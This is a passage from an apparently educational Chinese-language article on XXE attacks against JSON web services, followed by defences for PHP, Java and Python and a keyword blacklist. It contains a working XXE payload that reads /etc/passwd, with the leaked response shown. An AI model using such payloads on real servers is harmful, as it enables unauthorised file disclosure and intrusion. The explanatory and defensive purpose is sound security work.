正如我們所知道的,很多web和移動應用都基於客戶端-伺服器互動模式的web通訊服務。不管是SOAP/">SOAP還是RESTful,一般對於web服務來說,最常見的資料格式都是XML和JSON。儘管web服務可能在程式設計時只使用其中一種格式,但伺服器卻可以接受開發人員並沒有預料到的其他資料格式,這就有可能會導致JSON節點受到XXE(XML外部實體)攻擊
原始請求和響應:
HTTP Request:
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/json Content-Length: 38 {"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 43 {"error": "no results for name netspitest"}
現在我們嘗試將 Content-Type 修改為 application/xml
進一步請求和響應:
HTTP Request:
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 38 {"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error Content-Type: application/json Content-Length: 127 {"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以發現伺服器端是能處理 xml 資料的,於是我們就可以利用這個來進行攻擊
最終的請求和響應:
HTTP Request:
POST /netspi HTTP/1.1 Host: someserver.netspi.com Accept: application/json Content-Type: application/xml Content-Length: 288 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <search>name</search> <value>&xxe;</value> </root>
HTTP Response:
HTTP/1.1 200 OK Content-Type: application/json Content-Length: 2467 {"error": "no results for name root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync....
六、XXE 如何防禦
方案一:使用語言中推薦的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false); .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true); .setFeature("http://xml.org/sax/features/external-general-entities",false) .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:手動黑名單過濾(不推薦)
過濾關鍵詞:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
七、總結
對 XXE 漏洞做了一個重新的認識,對其中一些細節問題做了對應的實戰測試,重點在於 netdoc 的利用和 jar 協議的利用,這個 jar 協議的使用很神奇,網上的資料也比較少,我測試也花了很長的時間,希望有真實的案例能出現,利用方式還需要各位大師傅們的努力挖掘。
你的知識面,決定著你的攻擊面。